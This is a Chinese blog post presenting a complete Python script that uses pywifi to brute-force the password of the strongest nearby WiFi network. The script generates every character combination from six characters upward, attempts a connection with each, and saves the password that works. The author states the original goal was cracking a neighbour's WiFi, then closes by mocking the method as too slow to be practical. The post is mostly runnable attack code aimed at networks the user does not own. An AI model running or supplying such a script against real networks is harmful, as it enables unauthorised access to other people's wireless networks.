扯淡的!!!基于python的wifi密码暴力破解程序

扯淡的!!!基于python的wifi密码暴力破解程序

  • 程序目的
  • 模块
  • 程序
    • 核心内容及大致步骤
      • 1、获取本机的无限网卡:
      • 2、搜索附近WiFi(一般直接用第一个作为信号最强的那个):
      • 3、确认网卡连接状态:
      • 4、创建临时密码(从初始pren=6位密码开始,循环完后自动增加位数,无限产生密码):
      • 5、循环暴力破解密码:
      • 6、将破解完得到的密码保存到txt文件中备用:
    • 正式程序
  • 吐槽

程序目的

暴力破解邻居家的WiFi。。。
或,白嫖蹭WiFi。。。
又或,可以随时随地打开笔记本电脑来装个。。。咳咳
(以上是编代码前的最初目的)

(以下是发布这片文章的真实目的)
吐槽这破解方式是多么的扯淡。。。。。。

模块

核心模块:
pywifi(模块的详细内容请出门左拐 <-_<-)
作用:获取本机网卡,搜寻,链接或断开WiFi

路人模块:
itertools
作用:循环生成临时密码
time
作用:WiFi链接或断开需要一定时间

程序

核心内容及大致步骤

1、获取本机的无限网卡:

# 创建WiFi对象:
wifi = pywifi.PyWiFi()
# 获得本机无线网卡:
ifaces = wifi.interfaces()[0]		# 此处获得的是一个列表

2、搜索附近WiFi(一般直接用第一个作为信号最强的那个):

# 获取附近WiFi:
wifi_scanned = ifaces.scan_results()		# 此处同样是个列表
# 获取第一个WiFi的名称:
wifiname = wifi_scanned[0].ssid

3、确认网卡连接状态:

# 获取当前网卡的连接状态
status = ifaces.status()

其中:
status = 0 : 未连接
status = 1 : 扫描中
status = 2 : 延迟
status = 3 : 正在连接中…
status = 4 : 已连接

4、创建临时密码(从初始pren=6位密码开始,循环完后自动增加位数,无限产生密码):

# 这里我们不直接把密码本输出(浪费空间),直接造一个小生成器(generator)
def temppwd(pren):		# pren是搜寻密码的初始位数
        num = pren
        # 设置询查密码可含有的符号
        words = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_'
        while True:
            set = itertools.product(words, repeat=num)
            for temp in set:
                yield temp
            num += 1
temp = temppwd()
for each in temp:
	......

5、循环暴力破解密码:

for each in temp:
	if WiFi已连接:
		......
		savepwd()
		break
	else:
		检测多少后作个响应

6、将破解完得到的密码保存到txt文件中备用:

def savepwd():
	......

正式程序

我们把前面所说内容打个包:

import pywifi
from pywifi import const
import itertools
import time


# 打个包
class BKwifi():
    # 一台设备就一个网卡,故直接用类属性
    wifi = pywifi.PyWiFi()
    # 获取无线网卡
    ifaces = wifi.interfaces()[0]
    # 获取(默认)附近最强WiFi名称
    wifiname = ifaces.scan_results()[0].ssid
    def __init__(self, pren=6, save_address='.'):
    	# 设置找到密码时文件保存地址
        self.save_address = save_address
        # 设置初始查找的密码位数
        self.pren = pren

    # 存储密码
    def _savepwd(self, wifiname, wifipwd):
        with open(self.save_address + r'/result.txt', 'w') as f:
            f.write(f'WiFi: {wifiname} 的密码是: {wifipwd}')

    # 判断连接是否成功
    def _wificonnect(self, wifiname, wifipwd):
        # 确保无线网已是断开状态
        self.ifaces.disconnect()
        time.sleep(0.5)
        if self.ifaces.status() == const.IFACE_DISCONNECTED:
            # 创建并设置WiFi文件
            profile = pywifi.Profile()
            profile.ssid = wifiname
            profile.key = wifipwd
            # WiFi的加密算法
            profile.akm.append(const.AKM_TYPE_WPA2PSK)
            # 网卡的开放
            profile.auth = const.AUTH_ALG_OPEN
            # 加密单元
            profile.cipher = const.CIPHER_TYPE_CCMP

            # 删除原网卡下所有WiFi文件信息
            self.ifaces.remove_all_network_profiles()
            # 添加新WiFi文件信息
            tempfile = self.ifaces.add_network_profile(profile)

            # 连接新WiFi
            self.ifaces.connect(tempfile)
            time.sleep(1)
            if self.ifaces.status() == const.IFACE_CONNECTED:
                return True
            else:
                return False

    # 创建密码薄
    def _temppwd(self):
        num = self.pren
        # 设置询查密码可含有的符号
        words = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_'
        while True:
            set = itertools.product(words, repeat=num)
            for temp in set:
                yield temp
            num += 1

    # 主要执行程序
    def getpwd(self):
        temp = self._temppwd()
        i = 0
        print('开始执行程序...')
        for wifipwd in temp:
            wifipwd = ''.join(wifipwd)
            print(wifipwd)
            i += 1
            if self._wificonnect(wifiname=self.wifiname, wifipwd=wifipwd):
                print(f'已经找到正确密码: {wifipwd}')
                self._savepwd(wifiname=self.wifiname, wifipwd=wifipwd)
                break
            else:
                if i % 10 == 0:
                    print(f"已经尝试 {i} 个错误密码...")


if __name__ == "__main__":
    password = BKwifi(pren=9)
    password.getpwd()
    

吐槽

终于到了最令人心动的环节了,
哈哈哈哈…各位读者好,嘻嘻嘻,很好。
你们有没有仔细看完上述教程?若是有的话,那么恭喜你们!!!你们成功浪费了人生中的数十分钟乃至数个小时。。。。。。

很明显,让我们看看,一套下来,为保障确认连接的准确性,尝试一次密码用时多少?1.5s!!!至少1.5s啊!!!也就是说,一天最多尝试57600次(才…)。
而每一位密码有至少63种可能。。。。。。(肯定可以更多)
(‘ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_’)
而一般用户最常使用的密码:‘姓名’ + ‘生辰’
比如:
小明,1997.01.01
password: xm970101
这就 8 位密码。。。
8 位排序有 63^8 种可能。。。(只是举例,这年头不会真有人还在用这样式当密码模板吧???!!!。。。)

再最后,
你再比一下,你会发现,你还不如直接开门,走到隔壁家门口,无奈而又烦躁地重重敲几下门,问声:老王啊!在家嚒?你加你家WiFi密码多少?借我蹭蹭怎么样?

你可能感兴趣的:(python,暴力破解,WiFi,python,windows)